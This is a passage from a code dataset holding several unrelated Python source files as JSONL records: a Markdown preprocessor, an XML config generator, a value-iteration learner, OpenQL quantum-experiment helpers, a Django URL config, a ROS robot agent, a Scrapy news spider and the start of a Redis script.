elements and the necessary Javascript\n boilerplate to use with charts.js\n\n\"\"\"\n\nimport re\nimport json\nimport time\nimport datetime\n\nfrom bs4 import BeautifulSoup\n\nimport markdown\n\nclass Preprocessor(markdown.preprocessors.Preprocessor):\n\n def run(self, lines):\n\n start = time.time()\n\n processed = []\n\n # wrap script, div, and twgl tags in div tags\n for line in lines:\n\n line = line.replace(\n '',\n '
'\n ).replace(\n '',\n ''\n ).replace(\n '',\n ''\n )\n\n # escape newlines\n # unwrap = False\n # hasnewline = line.endswith('\\\\')\n # if not unwrap:\n # if not hasnewline:\n # processed.append(line)\n # else:\n # processed.append(line[:-1])\n # else:\n # if not hasnewline:\n # processed[-1] = processed[-1] + line\n # else:\n # processed[-1] = processed[-1] + line[:-1]\n # unwrap = hasnewline\n processed.append(line)\n\n print(datetime.datetime.now().strftime(\"%H:%M:%S.%f\"), round(time.time() - start, 2), \"seconds in preprocessing\")\n return processed\n\nclass Custom(markdown.Extension):\n\n def extendMarkdown(self, md, md_globals):\n # uses preprocessor\n # https://github.com/lethain/python-markdown-graphviz/blob/master/mdx_graphviz.py\n # https://python-markdown.github.io/extensions/api/\n # https://alexwlchan.net/2017/03/extensions-in-python-markdown/\n\n md.preprocessors.add(\n '_custom',\n Preprocessor(),\n '_begin'\n )\n","sub_path":"plugins/markdown_extensions/preprocessor.py","file_name":"preprocessor.py","file_ext":"py","file_size_in_byte":2358,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"116462600","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport os\n\nclass createSiteInstallationBbENM:\n\n def __init__(self, path, node, ip_mul, dg_mul, vlan_mul):\n self.path = path\n self.node = node\n self.ip_mul = ip_mul\n self.dg_mul = dg_mul\n self.vlan_mul = vlan_mul\n self.path_SiteInstallation = os.path.join(os.path.join(path, self.node), 'SiteInstallation.xml')\n\n def getSiteInstallationFileName(self):\n return 'SiteInstallation.xml'\n\n def go(self):\n s = '\\n'\n s += '\\n'\n s += '\\t'+'\\n'\n s += '\\t'+'\\n'\n s += '\\t'*2+'\\n'\n s += '\\t'*2+'\\n'\n s += '\\t'+'\\n'\n s += '\\n'\n SiteInstallationFile = open(self.path_SiteInstallation, 'w')\n SiteInstallationFile.write(s)\n SiteInstallationFile.close()\n\n","sub_path":"create/createSiteInstallationBbENM.py","file_name":"createSiteInstallationBbENM.py","file_ext":"py","file_size_in_byte":1212,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"434436239","text":"import math\n\nimport numpy as np\n\nfrom be.kdg.ai.boilerplate.mdp import Mdp\nfrom be.kdg.ai.boilerplate.percept import Percept\nfrom be.kdg.ai.learning.learning import Learning\n\n\nclass ValueIteration(Learning):\n\n def __init__(self, xi: float, gamma: float, observation_space_n: float, action_space_n: float):\n super().__init__()\n self.gamma = gamma\n self.states_n = observation_space_n\n self.action_n = action_space_n\n\n self.mdp = Mdp(observation_space_n, action_space_n)\n self.v = np.zeros([observation_space_n])\n self.pi = np.zeros([observation_space_n, action_space_n])\n self.xi = xi\n\n def evaluate(self, percept: Percept):\n reward = percept.reward\n done = percept.done\n\n if reward == 0:\n reward = -0.02\n if done:\n reward = -1\n percept.reward = reward\n\n self.mdp.update(percept)\n rmax = np.max(self.mdp.r)\n\n delta = float('inf')\n temp = self.xi * rmax * ((1-self.gamma) / self.gamma)\n while delta > temp:\n delta = 0\n\n for s in range(int(self.states_n)):\n u = self.v[s]\n self.v[s] = np.max(self.value_function(s))\n delta = max(delta, abs(u - self.v[s]))\n\n def value_function(self, state: int):\n action_values = self.value_function_extra(state)\n\n action_values[0] = action_values[0] * self.pi[state, 0]\n action_values[1] = action_values[1] * self.pi[state, 1]\n action_values[2] = action_values[2] * self.pi[state, 2]\n action_values[3] = action_values[3] * self.pi[state, 3]\n\n return action_values\n\n def value_function_extra(self, state: int):\n mdp = self.mdp\n values = [sum(\n [mdp.ptsa[state, a, s] * (mdp.r[s, a] + (self.gamma * self.v[s])) for s in range(int(self.states_n))])\n for a in range(int(self.action_n))]\n return values\n\n def next_action(self, state: int):\n return np.argmax(self.pi[state, :])\n\n def improve(self, i: int, num_episodes: int):\n for state_i in range(int(self.states_n)):\n a_star = np.argmax(self.value_function_extra(state_i))\n\n for action_i in range(int(self.action_n)):\n if a_star == action_i:\n self.pi[state_i, action_i] = 1 - self.epsilon + (self.epsilon / self.action_n)\n\n else:\n self.pi[state_i, action_i] = (self.epsilon / self.action_n)\n\n self.epsilon = self.epsilon_min + (self.epsilon_max - self.epsilon_min) * math.pow(math.e, (-self.labda * i))\n\n def show_value(self):\n print(self.pi)\n","sub_path":"be/kdg/ai/learning/valueiteration.py","file_name":"valueiteration.py","file_ext":"py","file_size_in_byte":2677,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"487166813","text":"import re\nimport logging\nimport numpy as np\nfrom os.path import join, dirname\nfrom pycqed.utilities.general import suppress_stdout\nimport matplotlib.pyplot as plt\nfrom pycqed.analysis.tools.plotting import set_xlabel, set_ylabel\nfrom matplotlib.ticker import MaxNLocator\nimport matplotlib.patches as mpatches\nfrom pycqed.utilities.general import is_more_rencent\nimport openql.openql as ql\nfrom openql.openql import Program, Kernel, Platform, CReg, Operation\n\n\noutput_dir = join(dirname(__file__), 'output')\nql.set_option('output_dir', output_dir)\nql.set_option('scheduler', 'ALAP')\n\n\ndef create_program(pname: str, platf_cfg: str, nregisters: int=32):\n \"\"\"\n Wrapper around the constructor of openQL \"Program\" class.\n\n Args:\n pname (str) : Name of the program\n platf_cfg (str) : location of the platform configuration used to\n construct the OpenQL Platform used.\n nregisters (int) : the number of classical registers required in\n the program.\n\n In addition to instantiating the Program, this function\n - creates a Platform based on the \"platf_cfg\" filename.\n - Adds the platform as an attribute \"p.platf\"\n - Adds the output_dir as an attribute \"p.output_dir\"\n\n \"\"\"\n platf = Platform('OpenQL_Platform', platf_cfg)\n nqubits = platf.get_qubit_number()\n p = Program(pname,\n platf,\n nqubits,\n nregisters)\n\n p.platf = platf\n p.output_dir = ql.get_option('output_dir')\n p.nqubits = platf.get_qubit_number()\n p.nregisters = nregisters\n\n # detect OpenQL backend ('eqasm_compiler') used\n p.eqasm_compiler = ''\n with open(platf_cfg) as f:\n for line in f:\n if 'eqasm_compiler' in line:\n m = re.search('\"eqasm_compiler\" *: *\"(.*?)\"', line)\n p.eqasm_compiler = m.group(1)\n break\n if p.eqasm_compiler == '':\n logging.error(f\"key 'eqasm_compiler' not found in file '{platf_cfg}'\")\n\n return p\n\n\ndef create_kernel(kname: str, program):\n \"\"\"\n Wrapper around constructor of openQL \"Kernel\" class.\n \"\"\"\n kname = kname.translate ({ord(c): \"_\" for c in \"!@#$%^&*()[]{};:,./<>?\\|`~-=_+ \"})\n\n k = Kernel(kname, program.platf, program.nqubits, program.nregisters)\n return k\n\n\ndef compile(p, quiet: bool = True):\n \"\"\"\n Wrapper around OpenQL Program.compile() method.\n \"\"\"\n if quiet:\n with suppress_stdout():\n p.compile()\n else: # show warnings\n ql.set_option('log_level', 'LOG_WARNING')\n p.compile()\n\n # determine extension of generated file\n if p.eqasm_compiler=='eqasm_backend_cc':\n ext = '.vq1asm' # CC\n else:\n ext = '.qisa' # CC-light, QCC\n # attribute is added to program to help finding the output files\n p.filename = join(p.output_dir, p.name + ext)\n return p\n\n\n#############################################################################\n# Calibration points\n#############################################################################\ndef add_single_qubit_cal_points(p, qubit_idx,\n f_state_cal_pts: bool=False,\n measured_qubits=None):\n \"\"\"\n Adds single qubit calibration points to an OpenQL program\n\n Args:\n p\n platf\n qubit_idx\n measured_qubits : selects which qubits to perform readout on\n if measured_qubits == None, it will default to measuring the\n qubit for which there are cal points.\n \"\"\"\n if measured_qubits==None:\n measured_qubits = [qubit_idx]\n\n for i in np.arange(2):\n k = create_kernel(\"cal_gr_\"+str(i), program=p)\n k.prepz(qubit_idx)\n k.gate('wait', measured_qubits, 0)\n for measured_qubit in measured_qubits:\n k.measure(measured_qubit)\n k.gate('wait', measured_qubits, 0)\n p.add_kernel(k)\n\n for i in np.arange(2):\n k = create_kernel(\"cal_ex_\"+str(i), program=p)\n k.prepz(qubit_idx)\n k.gate('rx180', [qubit_idx])\n k.gate('wait', measured_qubits, 0)\n for measured_qubit in measured_qubits:\n k.measure(measured_qubit)\n k.gate('wait', measured_qubits, 0)\n p.add_kernel(k)\n if f_state_cal_pts:\n for i in np.arange(2):\n k = create_kernel(\"cal_f_\"+str(i), program=p)\n k.prepz(qubit_idx)\n k.gate('rx180', [qubit_idx])\n k.gate('rx12', [qubit_idx])\n k.gate('wait', measured_qubits, 0)\n for measured_qubit in measured_qubits:\n k.measure(measured_qubit)\n k.gate('wait', measured_qubits, 0)\n p.add_kernel(k)\n return p\n\n\ndef add_two_q_cal_points(p, q0: int, q1: int,\n reps_per_cal_pt: int =1,\n f_state_cal_pts: bool=False,\n f_state_cal_pt_cw: int = 31,\n measured_qubits=None,\n interleaved_measured_qubits=None,\n interleaved_delay=None,\n nr_of_interleaves=1):\n \"\"\"\n Returns a list of kernels containing calibration points for two qubits\n\n Args:\n p : OpenQL program to add calibration points to\n q0, q1 : ints of two qubits\n reps_per_cal_pt : number of times to repeat each cal point\n f_state_cal_pts : if True, add calibration points for the 2nd exc. state\n f_state_cal_pt_cw: the cw_idx for the pulse to the ef transition.\n measured_qubits : selects which qubits to perform readout on\n if measured_qubits == None, it will default to measuring the\n qubits for which there are cal points.\n Returns:\n kernel_list : list containing kernels for the calibration points\n \"\"\"\n kernel_list = []\n combinations = ([\"00\"]*reps_per_cal_pt +\n [\"01\"]*reps_per_cal_pt +\n [\"10\"]*reps_per_cal_pt +\n [\"11\"]*reps_per_cal_pt)\n if f_state_cal_pts:\n extra_combs = (['02']*reps_per_cal_pt + ['20']*reps_per_cal_pt +\n ['22']*reps_per_cal_pt)\n combinations += extra_combs\n\n if measured_qubits == None:\n measured_qubits = [q0, q1]\n\n\n for i, comb in enumerate(combinations):\n k = create_kernel('cal{}_{}'.format(i, comb), p)\n k.prepz(q0)\n k.prepz(q1)\n if interleaved_measured_qubits:\n for j in range(nr_of_interleaves):\n for q in interleaved_measured_qubits:\n k.measure(q)\n k.gate(\"wait\", [0, 1, 2, 3, 4, 5, 6], 0)\n if interleaved_delay:\n k.gate('wait', [0, 1, 2, 3, 4, 5, 6], int(interleaved_delay*1e9))\n\n if comb[0] =='0':\n k.gate('i', [q0])\n elif comb[0] == '1':\n k.gate('rx180', [q0])\n elif comb[0] =='2':\n k.gate('rx180', [q0])\n # FIXME: this is a workaround\n #k.gate('rx12', [q0])\n k.gate('cw_31', [q0])\n\n if comb[1] =='0':\n k.gate('i', [q1])\n elif comb[1] == '1':\n k.gate('rx180', [q1])\n elif comb[1] =='2':\n k.gate('rx180', [q1])\n # FIXME: this is a workaround\n #k.gate('rx12', [q1])\n k.gate('cw_31', [q1])\n\n # Used to ensure timing is aligned\n k.gate('wait', measured_qubits, 0)\n for q in measured_qubits:\n k.measure(q)\n k.gate('wait', measured_qubits, 0)\n kernel_list.append(k)\n p.add_kernel(k)\n\n return p\n\n\ndef add_multi_q_cal_points(p, qubits: list,\n combinations: list):\n \"\"\"\n Adds calibration points based on a list of state combinations\n \"\"\"\n kernel_list = []\n for i, comb in enumerate(combinations):\n k = create_kernel('cal{}_{}'.format(i, comb), p)\n for q in qubits:\n k.prepz(q)\n\n for j, q in enumerate(qubits):\n if comb[j] == '1':\n k.gate('rx180', [q])\n elif comb[j] == '2':\n k.gate('rx180', [q])\n k.gate('rx12', [q])\n else:\n pass\n # Used to ensure timing is aligned\n k.gate('wait', qubits, 0)\n for q in qubits:\n k.measure(q)\n k.gate('wait', qubits, 0)\n kernel_list.append(k)\n p.add_kernel(k)\n return p\n\n\n#############################################################################\n# File modifications\n#############################################################################\n\n\ndef clocks_to_s(time, clock_cycle=20e-9):\n \"\"\"\n Converts a time in clocks to a time in s\n \"\"\"\n return time*clock_cycle\n\n\ndef infer_tqisa_filename(qisa_fn: str):\n \"\"\"\n Get's the expected tqisa filename based on the qisa filename.\n \"\"\"\n return qisa_fn[:-4]+'tqisa'\n\n\ndef get_start_time(line: str):\n \"\"\"\n Takes in a line of a tqisa file and returns the starting time.\n This corrects for the timing in the \"bs\" instruction.\n\n Time is in units of clocks.\n\n Example tqsia line:\n \" 76014: bs 4 cw_03 s0 | cw_05 s2\"\n -> would return 76018\n \"\"\"\n\n start_time = int(line.split(':')[0])\n if 'bs' in line:\n # Takes the second character after \"bs\"\n pre_interval = int(line.split('bs')[1][1])\n start_time += pre_interval\n\n return start_time\n\n\ndef get_register_map(qisa_fn: str):\n \"\"\"\n Extracts the map for the smis and smit qubit registers from a qisa file\n \"\"\"\n reg_map = {}\n with open(qisa_fn, 'r') as q_file:\n linenum = 0\n for line in q_file:\n if 'start' in line:\n break\n if 'smis' in line or 'smit' in line:\n reg_key = line[5:line.find(',')]\n start_reg_idx = line.find('{')\n reg_val = (line[start_reg_idx:].strip())\n reg_map[reg_key] = eval(reg_val)\n return reg_map\n\n\ndef split_instr_to_op_targ(instr: str, reg_map: dict):\n \"\"\"\n Takes part of an instruction and splits it into a tuple of\n codeword, target\n\n e.g.:\n \"cw_03 s2\" -> \"cw_03\", {2}\n \"\"\"\n cw, sreg = instr.split(' ')\n target_qubits = reg_map[sreg]\n return (cw, target_qubits)\n\n\ndef get_timetuples(qisa_fn: str):\n \"\"\"\n Returns time tuples of the form\n (start_time, operation, target_qubits, line_nr)\n \"\"\"\n reg_map = get_register_map(qisa_fn)\n\n tqisa_fn = infer_tqisa_filename(qisa_fn)\n time_tuples = []\n with open(tqisa_fn, 'r') as tq_file:\n for i, line in enumerate(tq_file):\n # Get instruction line\n if re.search(r\"bs\", line):\n # Get the timing number\n start_time = get_start_time(line)\n # Get the instr\n instr = re.split(r'bs ', line)[1][1:]\n # We now parse whether there is a | character\n if '|' in line:\n multi_instr = re.split(r'\\s\\|\\s', instr)\n else:\n multi_instr = [instr]\n for instr in multi_instr:\n instr = instr.strip()\n op, targ = split_instr_to_op_targ(instr, reg_map)\n result = (start_time, op, targ, i)\n time_tuples.append(result)\n\n return time_tuples\n\n\ndef find_operation_idx_in_time_tuples(time_tuples, target_op: str):\n target_indices = []\n for i, tt in enumerate(time_tuples):\n t_start, cw, targets, linenum = tt\n if target_op in cw:\n target_indices.append(i)\n return (target_indices)\n\n\ndef get_operation_tuples(time_tuples: list, target_op: str):\n \"\"\"\n Returns a list of tuples that perform a specific operation\n\n args:\n time_tuples : list of time tuples\n target_op : operation to searc for\n returns\n time_tuples_op : time_tuples containing target_op\n \"\"\"\n op_indices = find_operation_idx_in_time_tuples(time_tuples,\n target_op=target_op)\n\n time_tuples_op = []\n for op_idx in op_indices:\n time_tuples_op.append(time_tuples[op_idx])\n return time_tuples_op\n\n\ndef split_time_tuples_on_operation(time_tuples, split_op: str):\n indices = find_operation_idx_in_time_tuples(time_tuples, split_op)\n\n start_indices = [0]+indices[:-1]\n stop_indices = indices\n\n split_tt = [time_tuples[start_indices[i]+1:stop_indices[i]+1] for\n i in range(len(start_indices))]\n return split_tt\n\n\ndef substract_time_offset(time_tuples, op_str: str='cw'):\n \"\"\"\n \"\"\"\n for tt in time_tuples:\n t_start, cw, targets, linenum = tt\n if op_str in cw:\n t_ref = t_start\n break\n corr_time_tuples = []\n for tt in time_tuples:\n t_start, cw, targets, linenum = tt\n corr_time_tuples.append((t_start-t_ref, cw, targets, linenum))\n return corr_time_tuples\n\n\n#############################################################################\n# Plotting\n#############################################################################\n\ndef plot_time_tuples(time_tuples, ax=None, time_unit='s',\n mw_duration=20e-9, fl_duration=240e-9,\n ro_duration=1e-6, ypos=None):\n if ax is None:\n f, ax = plt.subplots()\n\n mw_patch = mpatches.Patch(color='C0', label='Microwave')\n fl_patch = mpatches.Patch(color='C1', label='Flux')\n ro_patch = mpatches.Patch(color='C4', label='Measurement')\n\n if time_unit == 's':\n clock_cycle = 20e-9\n elif time_unit == 'clocks':\n clock_cycle = 1\n else:\n raise ValueError()\n\n for i, tt in enumerate(time_tuples):\n t_start, cw, targets, linenum = tt\n\n if 'meas' in cw:\n c = 'C4'\n width = ro_duration\n elif isinstance((list(targets)[0]), tuple):\n # Flux pulses\n c = 'C1'\n width = fl_duration\n\n else:\n # Microwave pulses\n c = 'C0'\n width = mw_duration\n\n if 'prepz' not in cw:\n for q in targets:\n if isinstance(q, tuple):\n for qi in q:\n ypos_i = qi if ypos is None else ypos\n ax.barh(ypos_i, width=width, left=t_start*clock_cycle,\n height=0.6, align='center', color=c, alpha=.8)\n else:\n # N.B. alpha is not 1 so that overlapping operations are easily\n # spotted.\n ypos_i = q if ypos is None else ypos\n ax.barh(ypos_i, width=width, left=t_start*clock_cycle,\n height=0.6, align='center', color=c, alpha=.8)\n\n ax.legend(handles=[mw_patch, fl_patch, ro_patch], loc=(1.05, 0.5))\n set_xlabel(ax, 'Time', time_unit)\n set_ylabel(ax, 'Qubit', '#')\n ax.yaxis.set_major_locator(MaxNLocator(integer=True))\n\n return ax\n\n\ndef plot_time_tuples_split(time_tuples, ax=None, time_unit='s',\n mw_duration=20e-9, fl_duration=240e-9,\n ro_duration=1e-6, split_op: str='meas',\n align_op: str='cw'):\n ttuple_groups = split_time_tuples_on_operation(time_tuples,\n split_op=split_op)\n corr_ttuple_groups = [substract_time_offset(tt, op_str=align_op) for\n tt in ttuple_groups]\n\n for i, corr_tt in enumerate(corr_ttuple_groups):\n if ax is None:\n f, ax = plt.subplots()\n plot_time_tuples(corr_tt, ax=ax, time_unit=time_unit,\n mw_duration=mw_duration, fl_duration=fl_duration,\n ro_duration=ro_duration, ypos=i)\n ax.invert_yaxis()\n set_ylabel(ax, \"Kernel idx\", \"#\")\n\n return ax\n\n\n#############################################################################\n# File modifications\n#############################################################################\n\n# FIXME: platform dependent (CC-light)\ndef flux_pulse_replacement(qisa_fn: str):\n \"\"\"\n args:\n qisa_fn : file in which to replace flux pulses\n\n returns:\n mod_qisa_fn : filename of the modified qisa file\n grouped_flux_tuples: : time tuples of the flux pulses grouped\n\n ---------------------------------------------------------------------------\n Modifies a file for use with non-codeword based flux pulses.\n Does this in the following steps\n\n 1. create a copy of the file\n 2. extract locations of pulses from source file\n 3. replace content of files\n 4. return filename of modified qisa file and time tuples\n grouped per kernel.\n\n \"\"\"\n\n ttuple = get_timetuples(qisa_fn)\n grouped_timetuples = split_time_tuples_on_operation(ttuple, 'meas')\n\n grouped_fl_tuples = []\n for i, tt in enumerate(grouped_timetuples):\n fl_time_tuples = substract_time_offset(get_operation_tuples(tt, 'fl'))\n grouped_fl_tuples.append(fl_time_tuples)\n\n with open(qisa_fn, 'r') as source_qisa_file:\n lines = source_qisa_file.readlines()\n\n for k_idx, fl_time_tuples in enumerate(grouped_fl_tuples):\n for i, time_tuple in enumerate(fl_time_tuples):\n time, cw, target, line_nr = time_tuple\n\n l = lines[line_nr]\n if i == 0:\n new_l = l.replace(cw, 'fl_cw_{:02d}'.format(k_idx+1))\n else:\n # cw 00 is a dummy pulse that should not trigger the AWG8\n new_l = l.replace(cw, 'fl_cw_00')\n lines[line_nr] = new_l\n\n mod_qisa_fn = qisa_fn[:-5]+'_mod.qisa'\n with open(mod_qisa_fn, 'w') as mod_qisa_file:\n for l in lines:\n mod_qisa_file.write(l)\n\n return mod_qisa_fn, grouped_fl_tuples\n\n\ndef check_recompilation_needed(program_fn: str, platf_cfg: str,\n recompile=True):\n \"\"\"\n determines if compilation of a file is needed based on it's timestamp\n and an optional recompile option.\n FIXME: program_fn is platform dependent, because it includes extension\n\n The behaviour of this function depends on the recompile argument.\n\n recompile:\n True -> True, the program should be compiled\n\n 'as needed' -> compares filename to timestamp of config\n and checks if the file exists, if required recompile.\n False -> compares program to timestamp of config.\n if compilation is required raises a ValueError\n \"\"\"\n if recompile == True:\n return True\n elif recompile == 'as needed':\n try:\n if is_more_rencent(program_fn, platf_cfg):\n return False\n else:\n return True # compilation is required\n except FileNotFoundError:\n # File doesn't exist means compilation is required\n return True\n\n elif recompile == False: # if False\n if is_more_rencent(program_fn, platf_cfg):\n return False\n else:\n raise ValueError('OpenQL config has changed more recently '\n 'than program.')\n else:\n raise NotImplementedError(\n 'recompile should be True, False or \"as needed\"')\n\n\ndef load_range_of_oql_programs(programs, counter_param, CC):\n \"\"\"\n This is a helper function for running an experiment that is spread over\n multiple OpenQL programs such as RB.\n \"\"\"\n program = programs[counter_param()]\n counter_param((counter_param()+1) % len(programs))\n CC.eqasm_program(program.filename)\n\n\ndef load_range_of_oql_programs_varying_nr_shots(programs, counter_param, CC,\n detector):\n \"\"\"\n This is a helper function for running an experiment that is spread over\n multiple OpenQL programs of varying length such as GST.\n\n Everytime the detector is called it will also modify the number of sweep\n points in the detector.\n \"\"\"\n program = programs[counter_param()]\n counter_param((counter_param()+1) % len(programs))\n CC.eqasm_program(program.filename)\n\n detector.nr_shots = len(program.sweep_points)\n","sub_path":"pycqed/measurement/openql_experiments/openql_helpers.py","file_name":"openql_helpers.py","file_ext":"py","file_size_in_byte":20258,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"485836331","text":"\"\"\"volsurface URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/1.9/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: url(r'^$', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: url(r'^$', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.conf.urls import url, include\n 2. Add a URL to urlpatterns: url(r'^blog/', include('blog.urls'))\n\"\"\"\nfrom django.conf.urls import include, url\nfrom django.contrib import admin\nfrom django.contrib.staticfiles.urls import staticfiles_urlpatterns\n\nfrom . import views\n\nfrom newsletter_subscription.backend import ModelBackend\nfrom newsletter_subscription.urls import newsletter_subscriptions_urlpatterns\n\nfrom volsurf.models import Subscription\n\nadmin.autodiscover()\n\n\nclass TestModelBackend(ModelBackend):\n def subscription_details_form(self, email, request):\n form = super(TestModelBackend, self).subscription_details_form(\n email, request)\n\n if not form.instance or not form.instance.is_active:\n return None\n\n # We do not want more informations about people with '42' in their\n # email address. Why? To test the code path where this method does not\n # return a form.\n if '42' in form.instance.email:\n return None\n\n return form\n\n\nurlpatterns = [\n url(r'^', include('volsurf.urls')),\n url(r'^blog/', include('zinnia.urls')),\n url(r'^admin/', admin.site.urls),\n url(r'^newsletter/', include(newsletter_subscriptions_urlpatterns(\n backend=TestModelBackend(Subscription),\n ))),\n] + staticfiles_urlpatterns()\n","sub_path":"volsurface/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1852,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"147771720","text":"\n# -*- coding: utf-8 -*-\n'''\nmobile robot for a navigation senario.\n action: linear(0.1, 0.2, 0.3) + angle(-pi/6, -pi/12, 0, pi/12, pi/6)\n state: image\nHamburg, 2016.12.21\n'''\nimport sys\nsys.path.append('../')\nimport rospy\nimport copy\nimport numpy as np\nimport math\nfrom math import radians\nimport threading\n# tip: from package_name.msg import ; and package_name != file_name\nfrom agent_ros_mobile.msg import Command, DataRequest\nfrom utility import DataFiles\n\n# global variable\ncurr_sample_imgState = np.zeros(21168)*np.nan #global variables: for testing\ncurr_sample_rState = np.zeros(6)*np.nan #global variables: Temporary save Sample\nclass AgentMobile():\n \"\"\"docstring for a AgentMobile (turtlebot).\"\"\"\n def __init__(self):\n self.start_vw = np.zeros(2)\n rospy.init_node('agent_mobile_node')\n self.thread_pubsub = threading.Thread(target=self.init_pubs_subs())\n self.thread_pubsub.start()\n\n #end of init method.\n\n def init_pubs_subs(self):\n # publisher\n self.action_pub = rospy.Publisher('/yuchen_controller_command', Command, queue_size=1)\n #self.Gripper_pub = rospy.Publisher('/yuchen_controller_angle_command', angleCommand, queue_size=1)\n #self.data_request_pub = rospy.Publisher('/yuchen_controller_data_request', DataRequest, queue_size=1000)\n #subscriber\n self.sample_result_sub = rospy.Subscriber('/yuchen_controller_report', DataRequest, self.sample_callback)\n #end of init_pubs_subs method\n def sample_callback(self, msg):\n '''get sample under data-request'''\n global curr_sample_imgState, curr_sample_rState\n curr_sample_imgState = msg.imgState # imgState\n curr_sample_rState = msg.rState # robot state: linear + angle velocity\n # end of sample_callback method\n\n def get_data(self):\n global curr_sample_imgState, curr_sample_rState\n robot_linearVelocity = curr_sample_rState[0]\n robot_angleVelocity = curr_sample_rState[1]\n rState = np.array([robot_linearVelocity, robot_angleVelocity])\n imgState = curr_sample_imgState\n return imgState, rState\n #end of get_data method\n\n def reset_robot(self, reset_vw= None):\n '''reset robot and sensor'''\n reset_vw = self.start_vw if reset_vw is None else reset_vw\n\n # command control.\n reset_command = Command()\n reset_command.linearSpeed = 0.0\n reset_command.angle = 0\n self.action_pub.publish(reset_command)\n print('--------RL_agent: send reset_arm command', 'reset_vw=',reset_vw)\n rospy.sleep(0.2)\n tmp_imgState, tmp_rState = self.get_data()\n return tmp_imgState\n #end of reset_arm method\n\n def robot_step(self, action):\n '''one step: execute action , observe next_state and reward'''\n\n # command control\n reset_command = Command()\n reset_command.linearSpeed = action[0]\n reset_command.angle = action[1]\n self.action_pub.publish(reset_command)\n\n # get next_state\n next_imgState, next_rState = self.get_data()\n\n # compute reward.\n reward = 0.0\n '''\n collision_flag = collisionDetection()\n if collision_flag == True:\n reward = -1\n else:\n reward = 0.01\n '''\n return next_imgState, reward\n #end of robot_step method\n\n\n''' test'''\nif __name__ == '__main__':\n AgentMobile_obj = AgentMobile()\n AgentMobile_obj.reset_robot()\n rospy.sleep(1)\n tmp_imgState, tmp_rState= AgentMobile_obj.get_data()\n print('test-data:',tmp_rState )\n\n for i in xrange(10):\n action = np.array([0.2, 0])\n AgentMobile_obj.robot_step(action)\n print(i, 'control command:', action)\n rospy.sleep(0.5)\n\n rospy.spin()\n","sub_path":"agent/agent_mobile.py","file_name":"agent_mobile.py","file_ext":"py","file_size_in_byte":3778,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"242950371","text":"from crawler.spiders import BaseSpider\n\n# 此文件包含的头文件不要修改\nimport scrapy\nfrom utils.util_old import *\nfrom crawler.items import *\nfrom bs4 import BeautifulSoup\nfrom scrapy.http import Request, Response\n\n\n#author:甘番雨\n#将爬虫类名和name字段改成对应的网站名\nclass puridunia(BaseSpider):\n name = 'puridunia'\n website_id = 1142 # 网站的id(必填)\n language_id = 1740 # 所用语言的id\n start_urls = ['https://puridunia.com/']\n sql = { # sql配置\n 'host': '192.168.235.162',\n 'user': 'dg_admin',\n 'password': 'dg_admin',\n 'db': 'dg_crawler'\n }\n\n # 这是类初始化函数,用来传时间戳参数\n \n \n \n\n def parse(self,response):\n meta={}\n meta['category2']=''\n soup=BeautifulSoup(response.text,'lxml')\n cat1_list=soup.select('#main-nav-menu li>a')\n for cat1 in cat1_list:\n url=cat1['href']\n meta['category1']=cat1.text\n yield scrapy.Request(url,meta=meta,callback=self.parse_category2)\n\n def parse_category2(self,response):\n soup=BeautifulSoup(response.text,'lxml')\n url_list=soup.select('.main-content .post-title>a')\n for url in url_list:\n news_url=url.get('href')\n yield scrapy.Request(news_url,meta=response.meta,callback=self.parse_details)\n\n #翻页?\n #时间截止?\n if soup.select('.date'):\n ddl=soup.select('.date')[0].text.strip()\n ddl=Util.format_time2(ddl)\n ddl=Util.format_time3(ddl)\n else:\n ddl=None\n \n if soup.find('li',class_='the-next-page') and soup.find('li',class_='the-next-page').find('a'):\n next_url=soup.find('li',class_='the-next-page').find('a').get('href')\n if(self.time==None or ddl>=int(self.time)):\n yield scrapy.Request(next_url,meta=response.meta,callback=self.parse_category2)\n else:\n self.logger.info('时间截止')\n\n def parse_details(self,response):\n item=NewsItem()\n soup=BeautifulSoup(response.text,'lxml')\n item['category1']=response.meta['category1']\n item['category2']=response.meta['category2']\n\n item['title']=soup.find('h1',class_='post-title entry-title').text.strip() if soup.find('h1',class_='post-title entry-title') else None\n\n item['body'] = ''#不能忘记初始化\n item['abstract']=''\n if soup.select('.entry-content p,.entry-content h3'):\n body_list=soup.select('.entry-content p,.entry-content h3')#这个写法可以同时提取到多个不同的标签\n for body in body_list:\n item['body'] += body.text.strip()\n item['body'] +='\\n'\n item['abstract']=body_list[0].text.strip() \n\n \n \n item['images']=[]\n image_list=soup.select('.entry-content p>img,.single-featured-image>img')if soup.select('.entry-content p>img,.single-featured-image>img') else None\n if(image_list):\n for image in image_list:\n image=image.get('src')\n item['images'].append(image)\n\n\n pub=soup.find('span',class_='date meta-item tie-icon').text.strip() if soup.find('span',class_='date meta-item tie-icon') else None\n if(pub):\n pub=Util.format_time2(pub)\n item['pub_time']=pub\n \n yield item\n\n","sub_path":"crawler/v1/puridunia.py","file_name":"puridunia.py","file_ext":"py","file_size_in_byte":3458,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"138469779","text":"import io\nimport uuid\nimport struct\n\n#import cv2\nimport redis\nimport numpy as np\n#from PIL import Image\n#import plotly.io as pio\n#import plotly.graph_objects as go\n\nfrom Config import *\n\n# Redis\nr = redis.Redis(host='127.0.0.1', port=6379, db=0)\npipe = r.pipeline()\np = r.pubsub()\n\n#fig = go.Figure()\n#fig.update_layout(title_text=\"People coordinates\", height=720, width=720, showlegend=False)\n\n\ndef get_boxes_out_of_depth_frame(depth_frame, boxes, masks):\n boxes_of_frame = 